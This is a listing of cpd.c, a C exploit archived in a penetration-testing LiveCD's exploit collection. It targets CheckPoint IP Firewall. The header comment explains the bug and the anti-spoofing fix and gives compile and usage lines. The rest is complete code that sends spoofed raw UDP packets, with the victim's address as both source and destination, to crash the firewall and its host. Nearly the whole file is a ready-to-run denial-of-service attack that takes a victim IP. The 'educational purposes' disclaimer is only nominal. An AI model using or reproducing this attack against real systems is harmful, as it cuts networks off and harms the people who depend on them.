home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / Checkpoint / cpd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  214 lines

  1. /*
  2.  *  CheckPoint IP Firewall Denial of Service Attack
  3.  *  July 2000 
  4.  *
  5.  *  Bug found by: antipent <rtodd@antipentium.com>
  6.  *  Code by: lore <fiddler@antisocial.com>
  7.  *
  8.  *  [Intro]
  9.  *
  10.  *  CheckPoint IP firewall crashes when it detects packets coming from
  11.  *  a different MAC with the same IP address as itself. We simply
  12.  *  send a few spoofed UDP packets to it, 100 or so should usually do
  13.  *  it.
  14.  *
  15.  *  [Impact]
  16.  *
  17.  *  Crashes the firewall and usually the box its running on. Resulting
  18.  *  in a complete stand still on the networks internet connectivity.
  19.  *
  20.  *  [Solution]
  21.  *
  22.  *  Turn on anti-spoofing, the firewall has an inbuilt function to do
  23.  *  this.
  24.  *
  25.  *  [Disclaimer]
  26.  *
  27.  *  Don't use this code. It's for educational purposes.
  28.  *
  29.  *  [Example]
  30.  *
  31.  *  ./cpd 1.2.3.4 500 53
  32.  *
  33.  *  [Compile]
  34.  *
  35.  *  cc -o cpd cpd.c
  36.  *
  37.  *  [Support]
  38.  *
  39.  *  This is designed to compile on Linux. I would port it, but you're
  40.  *  not meant to be running it anyway, right?
  41.  *
  42.  *  -- lore
  43.  */
  44.  
  45. #define __BSD_SOURCE
  46.  
  47. #include <stdio.h>
  48. #include <stdlib.h>
  49. #include <sys/socket.h>
  50. #include <sys/types.h>
  51. #include <arpa/inet.h>
  52. #include <unistd.h>
  53. #include <netinet/ip.h>
  54. #include <netinet/ip_udp.h>
  55.  
  56. #define TRUE   1
  57. #define FALSE  0
  58. #define ERR   -1
  59.  
  60. typedef u_long         ip_t;
  61. typedef long           sock_t;
  62. typedef struct ip      iph_t;
  63. typedef struct udphdr  udph_t;
  64. typedef u_short        port_t;
  65.  
  66. #define IP_SIZE  (sizeof(iph_t))
  67. #define UDP_SIZE (sizeof(udph_t))
  68. #define PSIZE    (IP_SIZE + UDP_SIZE)
  69. #define IP_OFF   (0)
  70. #define UDP_OFF  (IP_OFF + IP_SIZE)
  71.  
  72. void     usage               __P ((u_char *));
  73. u_short  checksum            __P ((u_short *, int));
  74.  
  75. int main (int argc, char * * argv)
  76. {
  77.   ip_t victim;
  78.   sock_t fd;
  79.   iph_t * ip_ptr;
  80.   udph_t * udp_ptr;
  81.   u_char packet[PSIZE];
  82.   u_char * yes = "1";
  83.   struct sockaddr_in sa;
  84.   port_t aport;  
  85.   u_long packets; 
  86.  
  87.   if (argc < 3) 
  88.   {
  89.     usage (argv[0]);
  90.   }
  91.   
  92.   fprintf(stderr, "\n*** CheckPoint IP Firewall DoS\n");
  93.   fprintf(stderr, "*** Bug discovered by: antipent <rtodd@antipentium.com>\n");
  94.   fprintf(stderr, "*** Code by: lore <fiddler@antisocial.com>\n\n");
  95.  
  96.   if ((victim = inet_addr(argv[1])) == ERR)
  97.   {
  98.     fprintf(stderr, "Bad IP address '%s'\n", argv[1]);
  99.     exit(EXIT_FAILURE);
  100.   }
  101.  
  102.   else if (!(packets = atoi(argv[2])))
  103.   {
  104.     fprintf(stderr, "You should send at least 1 packet\n");
  105.     exit(EXIT_FAILURE);
  106.   }
  107.  
  108.   else if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR)
  109.   {
  110.     fprintf(stderr, "Couldn't create raw socket: %s\n", strerror(errno));
  111.     exit(EXIT_FAILURE);
  112.   }
  113.  
  114.   else if ((setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &yes, 1)) == ERR)
  115.   {
  116.     fprintf(stderr, "Couldn't set socket options: %s\n", strerror(errno));
  117.     exit(EXIT_FAILURE);
  118.   }
  119.  
  120.   srand((unsigned)time(NULL));
  121.  
  122.   if (argc > 3)
  123.   { 
  124.     aport = htons(atoi(argv[3]));
  125.   }
  126.   else
  127.   {
  128.     aport = htons(rand() % 65535 + 1);
  129.   }
  130.  
  131.   fprintf(stderr, "Sending packets: ");
  132.  
  133.   while (packets--)
  134.   {
  135.  
  136.     memset(packet, 0, PSIZE);
  137.  
  138.     ip_ptr = (iph_t *)(packet + IP_OFF);
  139.     udp_ptr = (udph_t *)(packet + UDP_OFF);
  140.  
  141.     ip_ptr->ip_hl = 5;
  142.     ip_ptr->ip_v = 4;
  143.     ip_ptr->ip_tos = 0;
  144.     ip_ptr->ip_len = PSIZE;
  145.     ip_ptr->ip_id = 1234;
  146.     ip_ptr->ip_off = 0;
  147.     ip_ptr->ip_ttl = 255;
  148.     ip_ptr->ip_p = IPPROTO_UDP;
  149.     ip_ptr->ip_sum = 0;
  150.     ip_ptr->ip_src.s_addr = victim;
  151.     ip_ptr->ip_dst.s_addr = victim; 
  152.  
  153.     udp_ptr->source = htons(rand() % 65535 + 1);
  154.     udp_ptr->dest = aport;
  155.     udp_ptr->len = htons(UDP_SIZE);
  156.     udp_ptr->check = checksum((u_short *)ip_ptr, PSIZE);
  157.  
  158.     sa.sin_port = htons(aport);
  159.     sa.sin_family = AF_INET;
  160.     sa.sin_addr.s_addr = victim;
  161.  
  162.     if ((sendto(fd, 
  163.                 packet,
  164.                 PSIZE,
  165.                 0,
  166.                 (struct sockaddr *)&sa,
  167.                 sizeof(struct sockaddr_in))) == ERR)
  168.     {
  169.       fprintf(stderr, "Couldn't send packet: %s\n",
  170.         strerror(errno));
  171.       close(fd);
  172.       exit(EXIT_FAILURE);
  173.     }
  174.     fprintf(stderr, ".");
  175.  
  176.   }
  177.  
  178.   fprintf(stderr, "\n");
  179.   close(fd);
  180.  
  181.   return (EXIT_SUCCESS);
  182. }
  183.  
  184. void usage (u_char * pname)
  185. {
  186.   fprintf(stderr, "Usage: %s <victim_ip> <packets> [port]\n", pname);
  187.   exit(EXIT_SUCCESS);
  188. }
  189.  
  190. u_short checksum (u_short *addr, int len)
  191. {
  192.    register int nleft = len;
  193.    register int sum = 0;
  194.    u_short answer = 0;
  195.  
  196.    while (nleft > 1) {
  197.       sum += *addr++;
  198.       nleft -= 2;
  199.    }
  200.  
  201.    if (nleft == 1) {
  202.       *(u_char *)(&answer) = *(u_char *)addr;
  203.       sum += answer;
  204.    }
  205.  
  206.    sum = (sum >> 16) + (sum + 0xffff);
  207.    sum += (sum >> 16);
  208.    answer = ~sum;
  209.    return(answer);
  210. }
  211.  
  212. /* EOF */
  213.  
  214.